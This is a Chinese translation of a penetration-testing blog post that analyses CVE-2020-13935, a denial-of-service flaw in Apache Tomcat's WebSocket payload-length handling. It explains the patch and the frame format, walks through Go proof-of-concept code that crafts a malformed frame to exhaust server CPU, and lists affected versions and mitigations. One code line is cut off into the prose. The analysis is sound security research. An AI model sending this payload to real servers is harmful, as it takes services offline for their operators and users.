在本文中,我们将与读者一起深入分析Apache Tomcat中的WebSocket漏洞。
概述
Apache Tomcat是一种Java应用程序服务器,常用于Web应用程序,我们在渗透测试中经常会遇到它。
在这篇文章中,我们将深入分析Apache Tomcat服务器中近期曝出的一个漏洞及其利用方法,以帮助该软件的用户评估其面临的业务风险。该漏洞是与WebSockets一起出现的拒绝服务漏洞,并且已分配了漏洞编号CVE-2020-13935。
在渗透测试期间,我们经常会碰到用户运行过时版本的Apache Tomcat的情况。如果一个给定的版本包含漏洞,并且供应商(或维护者)已经发布了相应的安全更新,我们就会将该版本的软件归类为“过时的”。然而,有些漏洞只有在特定情况下才能被利用,而升级Web应用服务器的代价通常会比较高昂。因此,用户必须掌握简单明了的信息,才能对该漏洞是否影响特定产品以及是否值得升级做出明智的决定。不幸的是,并不是所有的供应商/维护者在安全方面都会提供简单明了的信息。
Apache Tomcat 9.0.37的版本说明显示,已于2020年7月发现并修复了一个漏洞,相关内容如下所示:
WebSocket框架中的有效载荷的长度未能进行正确验证,而无效的有效载荷长度可能会触发无限循环,最终,过多的有效载荷长度无效的请求可能导致拒绝服务。
实际上,由于这些信息含糊不清,导致以下疑惑:
· 无效的有效载荷长度由哪些部分构成?
· 发生的是哪种拒绝服务?CPU被耗尽,还是内存被耗尽?甚至直接发生崩溃?
· 在什么情况下应用程序容易受到攻击?Apache Tomcat何时解析WebSocket消息?
· 攻击者需要进行哪些投资?攻击过程是否需要大量带宽或计算能力?
· 如果无法升级的话,是否有变通的解决方案?
这些问题可以通过一些分析来回答,并且这也是我们渗透测试任务的一部分。
分析安全补丁
我们对Apache安全团队针对该漏洞的安全补丁进行了分析后发现,他们通过在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代码,来修复该漏洞的(为了便于阅读,这里重新对代码进行了格式化):
// The most significant bit of those 8 bytes is required to be zero // (see RFC 6455, section 5.2). If the most significant bit is set, // the resulting payload length will be negative so test for that. if (payloadLength < 0) { throw new WsIOException( new CloseReason( CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid") ) ); }
正如我们所看到的,这里添加了对有效载荷长度字段的额外检查,该字段的类型为long,如果值为负,则引发异常。但是有效载荷长度怎么可能是负值呢?
为了回答这个问题,让我们需要了解一下WebSocket数据帧的结构;根据相应RFC的描述:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-------+-+-------------+-------------------------------+ |F|R|R|R| opcode|M| Payload len | Extended payload length | |I|S|S|S| (4) |A| (7) | (16/64) | |N|V|V|V| |S| | (if payload len==126/127) | | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Payload Data continued ... | +---------------------------------------------------------------+
如上图所示,一个数据帧的前16位包含多个位标志以及7位有效载荷长度。如果将此有效载荷长度设置为127(二进制值为1111111),则应该使用所谓的64位的扩展有效载荷长度。此外,WebSocket RFC规定:
如果[7位有效载荷长度的值为]127,则后面的8个字节(最高有效位必须为0)将被解释为64位无符号整数,也就是有效载荷长度。
尽管该字段显然是一个64位无符号整数,但RFC却要求最高有效位为零,这似乎是一个特殊的选择。也许做出这种选择是为了提供与有符号版本的互操作性,但是却可能会引起混乱,甚至导致安全漏洞。
编写漏洞利用代码
接下来,我们将通过Go语言来实现概念验证代码。您可能会问为什么要用Go语言呢? 很简单,因为我们觉得Go是一门非常棒的语言,不仅支持并发性,同时还为WebSockets提供了许多好用的代码库。此外,我们还能够根据需要为任何平台交叉编译PoC。
下面,让我们按照规范要求构建这样一个WebSocket帧:它被Apache Tomcat解析时,有效载荷长度将是一个负值。首先,需要选择位标志FIN、RSV1、RSV2和RSV3的值。其中,标志位FIN用于指示消息的最后一帧。由于我们要发送的整个消息都包含在单个帧中,因此,我们将该位设置为1。而另外的三个RSV位是为将来使用和扩展WebSocket规范而保留的,因此,它们都被设置为0。此外,opcode字段(4位)用于表示发送的数据的类型,因此,该值必须有效,否则将丢弃该帧。就这里来说,由于要要发送的是一个简单的文本有效载荷,所以必须将该字段的值设置为1。同时,Go库github.com/gorilla/websocket还为我们提供了一个要用到的常量。这样,我们就可以构造恶意WebSocket帧的第一个字节了:
var buf bytes.Buffer fin := 1 rsv1 := 0 rsv2 := 0 rsv3 := 0 opcode := websocket.TextMessage buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
第二个字节的第一个二进制位是MASK位,在从客户端发送到服务器的帧中,MASK位必须设置为1。我们最感兴趣的部分是有效载荷长度,因为它的大小是可变的。如果WebSocket消息的有效载荷长度不超过125字节,则可直接在7位有效载荷长度字段中对长度进行编码。对于长度在126和65535之间的有效载荷,7位有效载荷长度字段将被设置为常数126,并且有效载荷长度在接下来的两个字节中被编码为16位无符号整数。对于较大的有效载荷,必须将7位有效载荷长度字段设置为127,并且接下来的四个字节将有效载荷长度编码为64位无符号整数。如前所述,对于以64位定义的有效载荷长度,根据规范,最高有效位(MSB)必须设置为零。为了在Apache Tomcat中触发易受攻击的代码路径,我们需要指定64位的有效载荷长度,并将MSB设置为1,因此,我们需要将7位有效载荷长度字段设置为11111111:
// always set the mask bit // indicate 64 bit message length buf.WriteByte(byte(1<<7 | 0b1111111))
为了构建一个有效载荷长度无效的数据帧,以触发Apache Tomcat实现中的错误行为,我们需要将后面八个字节设置为0xFF:
// set msb to 1, violating the spec and triggering the bug buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
随后的四个字节是掩码密钥(masking key)。按照规范的要求,它必须是一个来自强熵源的32位随机值,但由于我们已经违反了规范,所以,我们不妨使用一个静态掩码密钥,以使代码更容易阅读:
// 4 byte masking key // leave zeros for now, so we do not need to mask
maskingKey := []byte不过,实际有效载荷本身可以小于指定长度:
// write an incomplete message buf.WriteString("test")
数据包的组装和传输代码如下所示。为了更好地进行测试,我们将在发送以下内容后,让连接继续保持打开状态30秒:
ws, _, err := websocket.DefaultDialer.Dial(url, nil) if err != nil { return fmt.Errorf("dial: %s", err) } _, err = ws.UnderlyingConn().Write(buf.Bytes()) if err != nil { return fmt.Errorf("write: %s", err) } // keep the websocket connection open for some time time.Sleep(30 * time.Second)
完整的概念验证代码可从github.com/RedTeamPentesting/CVE-2020-13935下载。
现在,我们只需运行go build命令,即可生成可执行文件。为了测试该程序,可以设置一个易受攻击的Apache Tomcat实例,并以安装时提供的WebSocket示例作为我们的测试目标:
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
这就是利用拒绝服务漏洞所需的全部操作。如果一个易受攻击的WebSocket端点现在成为我们的目标,并且向其发送多个恶意请求,那么它的CPU使用率将会迅速上升,服务器就会变得反应迟钝,直至毫无响应。
请注意,解析代码仅由实际需要WebSocket消息的端点触发。我们不能向任意的Tomcat HTTP端点发送这样的消息。
根据相应的漏洞描述,以下版本的Apache Tomcat将受到该漏洞的影响:
· 10.0.0-M1 to 10.0.0-M6
· 9.0.0.M1 to 9.0.36
· 8.5.0 to 8.5.56
· 7.0.27 to 7.0.104
安全建议
如果可能的话,请将您的Apache Tomcat服务器更新到最新版本。然而,在某些情况下,更新方案可能是不可行的,或成本太高。在这种情况下,您应该检测自己的产品是否存在漏洞。如上所述,该漏洞只能在WebSockets端点上触发。因此,禁用或限制对这些端点的访问能够缓解这个安全问题。请注意,内置的示例目录也包含处理WebSockets的端点。
以上就是所有的内容,祝大家阅读愉快!
本文翻译自:https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/如若转载,请注明原文地址: